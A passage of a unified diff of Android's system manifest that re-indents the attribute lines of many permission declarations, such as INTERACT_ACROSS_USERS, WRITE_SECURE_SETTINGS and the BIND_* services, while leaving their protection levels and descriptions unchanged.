     <!-- @SystemApi @hide Allows an application to call APIs that allow it to do interactions
          across the users on the device, using singleton services and
          user-targeted broadcasts.  This permission is not available to
          third party applications. -->
     <permission android:name="android.permission.INTERACT_ACROSS_USERS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Fuller form of {@link android.Manifest.permission#INTERACT_ACROSS_USERS}
          that removes restrictions on where broadcasts can be sent and allows other
          types of interactions
          @hide -->
     <permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"
-                android:protectionLevel="signature|installer" />
+        android:protectionLevel="signature|installer" />
 
     <!-- @SystemApi @hide Allows an application to call APIs that allow it to query and manage
          users on the device. This permission is not available to
          third party applications. -->
     <permission android:name="android.permission.MANAGE_USERS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide Allows an application to create, remove users and get the list of
          users on the device. Applications holding this permission can only create restricted,
@@ -1779,69 +1779,69 @@
          {@link android.Manifest.permission#MANAGE_USERS} is needed.
          This permission is not available to third party applications. -->
     <permission android:name="android.permission.CREATE_USERS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to set the profile owners and the device owner.
          This permission is not available to third party applications.-->
     <permission android:name="android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS"
-                android:protectionLevel="signature"
-                android:label="@string/permlab_manageProfileAndDeviceOwners"
-                android:description="@string/permdesc_manageProfileAndDeviceOwners" />
+        android:protectionLevel="signature"
+        android:label="@string/permlab_manageProfileAndDeviceOwners"
+        android:description="@string/permdesc_manageProfileAndDeviceOwners" />
 
     <!-- Allows an application to get full detailed information about
          recently running tasks, with full fidelity to the real state.
          @hide -->
     <permission android:name="android.permission.GET_DETAILED_TASKS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to change the Z-order of tasks.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.REORDER_TASKS"
-                android:label="@string/permlab_reorderTasks"
-                android:description="@string/permdesc_reorderTasks"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_reorderTasks"
+        android:description="@string/permdesc_reorderTasks"
+        android:protectionLevel="normal" />
 
     <!-- @hide Allows an application to change to remove/kill tasks -->
     <permission android:name="android.permission.REMOVE_TASKS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide Allows an application to create/manage/remove stacks -->
     <permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to start any activity, regardless of permission
          protection or exported state.
          @hide -->
     <permission android:name="android.permission.START_ANY_ACTIVITY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @deprecated The {@link android.app.ActivityManager#restartPackage}
         API is no longer supported. -->
     <permission android:name="android.permission.RESTART_PACKAGES"
-                android:label="@string/permlab_killBackgroundProcesses"
-                android:description="@string/permdesc_killBackgroundProcesses"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_killBackgroundProcesses"
+        android:description="@string/permdesc_killBackgroundProcesses"
+        android:protectionLevel="normal" />
 
     <!-- Allows an application to call
         {@link android.app.ActivityManager#killBackgroundProcesses}.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"
-                android:label="@string/permlab_killBackgroundProcesses"
-                android:description="@string/permdesc_killBackgroundProcesses"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_killBackgroundProcesses"
+        android:description="@string/permdesc_killBackgroundProcesses"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi @hide Allows an application to query process states and current
          OOM adjustment scores.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.GET_PROCESS_STATE_AND_OOM_SCORE"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- Allows use of PendingIntent.getIntent().
          @hide -->
     <permission android:name="android.permission.GET_INTENT_SENDER_INTENT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- ================================== -->
     <!-- Permissions affecting the display of other applications  -->
@@ -1864,26 +1864,26 @@
          Settings.canDrawOverlays()}.
          <p>Protection level: signature -->
     <permission android:name="android.permission.SYSTEM_ALERT_WINDOW"
-                android:label="@string/permlab_systemAlertWindow"
-                android:description="@string/permdesc_systemAlertWindow"
-                android:protectionLevel="signature|preinstalled|appop|pre23|development" />
+        android:label="@string/permlab_systemAlertWindow"
+        android:description="@string/permdesc_systemAlertWindow"
+        android:protectionLevel="signature|preinstalled|appop|pre23|development" />
 
     <!-- @deprecated Use {@link android.Manifest.permission#REQUEST_COMPANION_RUN_IN_BACKGROUND}
          @hide
     -->
     <permission android:name="android.permission.RUN_IN_BACKGROUND"
-                android:label="@string/permlab_runInBackground"
-                android:description="@string/permdesc_runInBackground"
-                android:protectionLevel="signature" />
+        android:label="@string/permlab_runInBackground"
+        android:description="@string/permdesc_runInBackground"
+        android:protectionLevel="signature" />
 
     <!-- @deprecated Use
         {@link android.Manifest.permission#REQUEST_COMPANION_USE_DATA_IN_BACKGROUND}
          @hide
     -->
     <permission android:name="android.permission.USE_DATA_IN_BACKGROUND"
-                android:label="@string/permlab_useDataInBackground"
-                android:description="@string/permdesc_useDataInBackground"
-                android:protectionLevel="signature" />
+        android:label="@string/permlab_useDataInBackground"
+        android:description="@string/permdesc_useDataInBackground"
+        android:protectionLevel="signature" />
 
     <!-- Allows a companion app to run in the background.
          <p>Protection level: normal
@@ -1911,17 +1911,17 @@
          <p>Protection level: normal
      -->
     <permission android:name="android.permission.SET_WALLPAPER"
-                android:label="@string/permlab_setWallpaper"
-                android:description="@string/permdesc_setWallpaper"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_setWallpaper"
+        android:description="@string/permdesc_setWallpaper"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to set the wallpaper hints.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.SET_WALLPAPER_HINTS"
-                android:label="@string/permlab_setWallpaperHints"
-                android:description="@string/permdesc_setWallpaperHints"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_setWallpaperHints"
+        android:description="@string/permdesc_setWallpaperHints"
+        android:protectionLevel="normal" />
 
     <!-- ============================================ -->
     <!-- Permissions for changing the system clock -->
@@ -1931,15 +1931,15 @@
     <!-- @SystemApi Allows applications to set the system time.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_TIME"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows applications to set the system time zone.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.SET_TIME_ZONE"
-                android:label="@string/permlab_setTimeZone"
-                android:description="@string/permdesc_setTimeZone"
-                android:protectionLevel="signature|privileged" />
+        android:label="@string/permlab_setTimeZone"
+        android:description="@string/permdesc_setTimeZone"
+        android:protectionLevel="signature|privileged" />
 
     <!-- ==================================================== -->
     <!-- Permissions related to changing status bar   -->
@@ -1950,9 +1950,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.EXPAND_STATUS_BAR"
-                android:label="@string/permlab_expandStatusBar"
-                android:description="@string/permdesc_expandStatusBar"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_expandStatusBar"
+        android:description="@string/permdesc_expandStatusBar"
+        android:protectionLevel="normal" />
 
     <!-- ============================================================== -->
     <!-- Permissions related to adding/removing shortcuts from Launcher -->
@@ -1963,16 +1963,16 @@
          <p>Protection level: normal
     -->
     <permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"
-                android:label="@string/permlab_install_shortcut"
-                android:description="@string/permdesc_install_shortcut"
-                android:protectionLevel="normal"/>
+        android:label="@string/permlab_install_shortcut"
+        android:description="@string/permdesc_install_shortcut"
+        android:protectionLevel="normal"/>
 
     <!--This permission is no longer supported.
     -->
     <permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"
-                android:label="@string/permlab_uninstall_shortcut"
-                android:description="@string/permdesc_uninstall_shortcut"
-                android:protectionLevel="normal"/>
+        android:label="@string/permlab_uninstall_shortcut"
+        android:description="@string/permdesc_uninstall_shortcut"
+        android:protectionLevel="normal"/>
 
     <!-- ==================================================== -->
     <!-- Permissions related to accessing sync settings   -->
@@ -1983,25 +1983,25 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.READ_SYNC_SETTINGS"
-                android:description="@string/permdesc_readSyncSettings"
-                android:label="@string/permlab_readSyncSettings"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_readSyncSettings"
+        android:label="@string/permlab_readSyncSettings"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to write the sync settings.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.WRITE_SYNC_SETTINGS"
-                android:description="@string/permdesc_writeSyncSettings"
-                android:label="@string/permlab_writeSyncSettings"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_writeSyncSettings"
+        android:label="@string/permlab_writeSyncSettings"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to read the sync stats.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.READ_SYNC_STATS"
-                android:description="@string/permdesc_readSyncStats"
-                android:label="@string/permlab_readSyncStats"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_readSyncStats"
+        android:label="@string/permlab_readSyncStats"
+        android:protectionLevel="normal" />
 
     <!-- ============================================ -->
     <!-- Permissions for low-level system interaction -->
@@ -2010,12 +2010,12 @@
 
     <!-- @SystemApi @hide Change the screen compatibility mode of applications -->
     <permission android:name="android.permission.SET_SCREEN_COMPATIBILITY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to modify the current configuration, such
          as locale. -->
     <permission android:name="android.permission.CHANGE_CONFIGURATION"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- Allows an application to read or write the system settings.
 
@@ -2030,51 +2030,51 @@
         <p>Protection level: signature
     -->
     <permission android:name="android.permission.WRITE_SETTINGS"
-                android:label="@string/permlab_writeSettings"
-                android:description="@string/permdesc_writeSettings"
-                android:protectionLevel="signature|preinstalled|appop|pre23" />
+        android:label="@string/permlab_writeSettings"
+        android:description="@string/permdesc_writeSettings"
+        android:protectionLevel="signature|preinstalled|appop|pre23" />
 
     <!-- @SystemApi Allows an application to modify the Google service map.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WRITE_GSERVICES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to call
         {@link android.app.ActivityManager#forceStopPackage}.
         @hide -->
     <permission android:name="android.permission.FORCE_STOP_PACKAGES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to retrieve the content of the active window
          An active window is the window that has fired an accessibility event. -->
     <permission android:name="android.permission.RETRIEVE_WINDOW_CONTENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Modify the global animation scaling factor.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_ANIMATION_SCALE"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @deprecated This functionality will be removed in the future; please do
          not use. Allow an application to make its activities persistent. -->
     <permission android:name="android.permission.PERSISTENT_ACTIVITY"
-                android:label="@string/permlab_persistentActivity"
-                android:description="@string/permdesc_persistentActivity"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_persistentActivity"
+        android:description="@string/permdesc_persistentActivity"
+        android:protectionLevel="normal" />
 
     <!-- Allows an application to find out the space used by any package.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.GET_PACKAGE_SIZE"
-                android:label="@string/permlab_getPackageSize"
-                android:description="@string/permdesc_getPackageSize"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_getPackageSize"
+        android:description="@string/permdesc_getPackageSize"
+        android:protectionLevel="normal" />
 
     <!-- @deprecated No longer useful, see
          {@link android.content.pm.PackageManager#addPackageToPreferred}
          for details. -->
     <permission android:name="android.permission.SET_PREFERRED_APPLICATIONS"
-                android:protectionLevel="signature|verifier" />
+        android:protectionLevel="signature|verifier" />
 
     <!-- Allows an application to receive the
          {@link android.content.Intent#ACTION_BOOT_COMPLETED} that is
@@ -2090,9 +2090,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"
-                android:label="@string/permlab_receiveBootCompleted"
-                android:description="@string/permdesc_receiveBootCompleted"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_receiveBootCompleted"
+        android:description="@string/permdesc_receiveBootCompleted"
+        android:protectionLevel="normal" />
 
     <!-- Allows an application to broadcast sticky intents.  These are
          broadcasts whose data is held by the system after being finished,
@@ -2101,90 +2101,90 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.BROADCAST_STICKY"
-                android:label="@string/permlab_broadcastSticky"
-                android:description="@string/permdesc_broadcastSticky"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_broadcastSticky"
+        android:description="@string/permdesc_broadcastSticky"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows mounting and unmounting file systems for removable storage.
     <p>Not for use by third-party applications.-->
     <permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows formatting file systems for removable storage.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MOUNT_FORMAT_FILESYSTEMS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide -->
     <permission android:name="android.permission.STORAGE_INTERNAL"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows access to ASEC non-destructive API calls
          @hide  -->
     <permission android:name="android.permission.ASEC_ACCESS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows creation of ASEC volumes
          @hide  -->
     <permission android:name="android.permission.ASEC_CREATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows destruction of ASEC volumes
          @hide  -->
     <permission android:name="android.permission.ASEC_DESTROY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows mount / unmount of ASEC volumes
          @hide  -->
     <permission android:name="android.permission.ASEC_MOUNT_UNMOUNT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows rename of ASEC volumes
          @hide  -->
     <permission android:name="android.permission.ASEC_RENAME"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows applications to write the apn settings.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WRITE_APN_SETTINGS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows applications to change network connectivity state.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.CHANGE_NETWORK_STATE"
-                android:description="@string/permdesc_changeNetworkState"
-                android:label="@string/permlab_changeNetworkState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_changeNetworkState"
+        android:label="@string/permlab_changeNetworkState"
+        android:protectionLevel="normal" />
 
     <!-- Allows an application to clear the caches of all installed
          applications on the device.
          <p>Protection level: system|signature
     -->
     <permission android:name="android.permission.CLEAR_APP_CACHE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to use any media decoder when decoding for playback
          @hide -->
     <permission android:name="android.permission.ALLOW_ANY_CODEC_FOR_PLAYBACK"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to install and/or uninstall CA certificates on
          behalf of the user.
          @hide -->
     <permission android:name="android.permission.MANAGE_CA_CERTIFICATES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to do certain operations needed for
          interacting with the recovery (system update) system.
          @hide -->
     <permission android:name="android.permission.RECOVERY"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows the system to bind to an application's task services
          @hide -->
     <permission android:name="android.permission.BIND_JOB_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
     <uses-permission android:name="android.permission.BIND_JOB_SERVICE"/>
 
     <!-- Allows an application to initiate configuration updates
@@ -2193,24 +2193,24 @@
          it off to the various individual installer components
          @hide -->
     <permission android:name="android.permission.UPDATE_CONFIG"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows the system to reset throttling in shortcut manager.
          @hide -->
     <permission android:name="android.permission.RESET_SHORTCUT_MANAGER_THROTTLING"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows the system to bind to the discovered Network Recommendation Service.
          @SystemApi @hide -->
     <permission android:name="android.permission.BIND_NETWORK_RECOMMENDATION_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
     <uses-permission android:name="android.permission.BIND_NETWORK_RECOMMENDATION_SERVICE"/>
 
     <!-- Allows an application to enable, disable and change priority of
          runtime resource overlays.
          @hide -->
     <permission android:name="android.permission.CHANGE_OVERLAY_PACKAGES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- ========================================= -->
     <!-- Permissions for special development tools -->
@@ -2220,40 +2220,40 @@
     <!-- @SystemApi Allows an application to read or write the secure system settings.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WRITE_SECURE_SETTINGS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to retrieve state dump information from system services.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DUMP"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to read the low-level system log files.
     <p>Not for use by third-party applications, because
     Log entries can contain the user's private information. -->
     <permission android:name="android.permission.READ_LOGS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Configure an application for debugging.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_DEBUG_APP"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to set the maximum number of (not needed)
          application processes that can be running.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_PROCESS_LIMIT"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to control whether activities are immediately
          finished when put in the background.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_ALWAYS_FINISH"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allow an application to request that a signal be sent to all persistent processes.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SIGNAL_PERSISTENT_PROCESSES"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- ==================================== -->
     <!-- Private permissions                  -->
@@ -2262,34 +2262,34 @@
 
     <!-- @SystemApi Allows access to the list of accounts in the Accounts Service. -->
     <permission android:name="android.permission.GET_ACCOUNTS_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows but does not guarantee access to user passwords at the conclusion of add account
     @hide -->
     <permission android:name="android.permission.GET_PASSWORD"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows applications to RW to diagnostic resources.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DIAGNOSTIC"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to open, close, or disable the status bar
          and its icons.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.STATUS_BAR"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to be the status bar.  Currently used only by SystemUI.apk
     @hide -->
     <permission android:name="android.permission.STATUS_BAR_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to bind to third party quick settings tiles.
          <p>Should only be requested by the System, should be required by
          TileService declarations.-->
     <permission android:name="android.permission.BIND_QUICK_SETTINGS_TILE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to force a BACK operation on whatever is the
          top activity.
@@ -2297,28 +2297,28 @@
          @hide
     -->
     <permission android:name="android.permission.FORCE_BACK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to update device statistics.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.UPDATE_DEVICE_STATS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to collect battery statistics -->
     <permission android:name="android.permission.GET_APP_OPS_STATS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to update application operation statistics. Not for
          use by third party apps.
          @hide -->
     <permission android:name="android.permission.UPDATE_APP_OPS_STATS"
-                android:protectionLevel="signature|privileged|installer" />
+        android:protectionLevel="signature|privileged|installer" />
 
     <!-- @SystemApi Allows an application to update the user app op restrictions.
          Not for use by third party apps.
          @hide -->
     <permission android:name="android.permission.MANAGE_APP_OPS_RESTRICTIONS"
-                android:protectionLevel="signature|installer" />
+        android:protectionLevel="signature|installer" />
 
     <!-- @SystemApi Allows an application to open windows that are for use by parts
          of the system user interface.
@@ -2326,7 +2326,7 @@
          @hide
     -->
     <permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to manage (create, destroy,
          Z-order) application tokens in the window manager.
@@ -2334,17 +2334,17 @@
          @hide
     -->
     <permission android:name="android.permission.MANAGE_APP_TOKENS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows System UI to register listeners for events from Window Manager.
          @hide -->
     <permission android:name="android.permission.REGISTER_WINDOW_MANAGER_LISTENERS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows the application to temporarily freeze the screen for a
          full-screen transition. -->
     <permission android:name="android.permission.FREEZE_SCREEN"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to inject user events (keys, touch, trackball)
          into the event stream and deliver them to ANY window.  Without this
@@ -2353,16 +2353,16 @@
          @hide
     -->
     <permission android:name="android.permission.INJECT_EVENTS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to register an input filter which filters the stream
          of user events (keys, touch, trackball) before they are dispatched to any window. -->
     <permission android:name="android.permission.FILTER_EVENTS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to retrieve the window token from the accessibility manager. -->
     <permission android:name="android.permission.RETRIEVE_WINDOW_TOKEN"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to modify accessibility information from another app. -->
     <permission android:name="android.permission.MODIFY_ACCESSIBILITY_DATA"
@@ -2374,11 +2374,11 @@
 
     <!-- @hide Allows an application to collect frame statistics -->
     <permission android:name="android.permission.FRAME_STATS"
-                android:protectionLevel="signature" />
+         android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to temporary enable accessibility on the device. -->
     <permission android:name="android.permission.TEMPORARY_ENABLE_ACCESSIBILITY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to watch and control how activities are
          started globally in the system.  Only for is in debugging
@@ -2387,13 +2387,13 @@
          @hide
     -->
     <permission android:name="android.permission.SET_ACTIVITY_WATCHER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to call the activity manager shutdown() API
          to put the higher-level system there into a shutdown state.
          @hide -->
     <permission android:name="android.permission.SHUTDOWN"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to tell the activity manager to temporarily
          stop application switches, putting it into a special mode that
@@ -2401,7 +2401,7 @@
          critical UI such as the home screen.
          @hide -->
     <permission android:name="android.permission.STOP_APP_SWITCHES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to retrieve private information about
          the current top activity, such as any assist context it can provide.
@@ -2409,42 +2409,42 @@
          @hide
     -->
     <permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to retrieve the current state of keys and
          switches.
          <p>Not for use by third-party applications.
          @deprecated The API that used this permission has been removed. -->
     <permission android:name="android.permission.READ_INPUT_STATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.inputmethodservice.InputMethodService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_INPUT_METHOD"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.media.midi.MidiDeviceService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_MIDI_DEVICE_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.accessibilityservice.AccessibilityService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.printservice.PrintService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_PRINT_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.printservice.recommendation.RecommendationService},
      to ensure that only the system can bind to it.
@@ -2453,7 +2453,7 @@
      <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_PRINT_RECOMMENDATION_SERVICE"
-                android:protectionLevel="signature" />
+            android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.nfc.cardemulation.HostApduService}
          or {@link android.nfc.cardemulation.OffHostApduService} to ensure that only
@@ -2461,81 +2461,81 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_NFC_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by the PrintSpooler to ensure that only the system can bind to it.
          @hide -->
     <permission android:name="android.permission.BIND_PRINT_SPOOLER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by the CompanionDeviceManager to ensure that only the system can bind to it.
          @hide -->
     <permission android:name="android.permission.BIND_COMPANION_DEVICE_MANAGER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Must be required by the RuntimePermissionPresenterService to ensure
          that only the system can bind to it.
          @hide -->
     <permission android:name="android.permission.BIND_RUNTIME_PERMISSION_PRESENTER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a TextService (e.g. SpellCheckerService)
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_TEXT_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.net.VpnService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_VPN_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.service.wallpaper.WallpaperService},
          to ensure that only the system can bind to it.
          <p>Protection level: system|signature
     -->
     <permission android:name="android.permission.BIND_WALLPAPER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.service.voice.VoiceInteractionService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_VOICE_INTERACTION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.service.autofill.AutofillService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_AUTOFILL_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide TODO(b/37563972): remove once clients use BIND_AUTOFILL_SERVICE -->
     <permission android:name="android.permission.BIND_AUTOFILL"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by hotword enrollment application,
          to ensure that only the system can interact with it.
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_VOICE_KEYPHRASES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
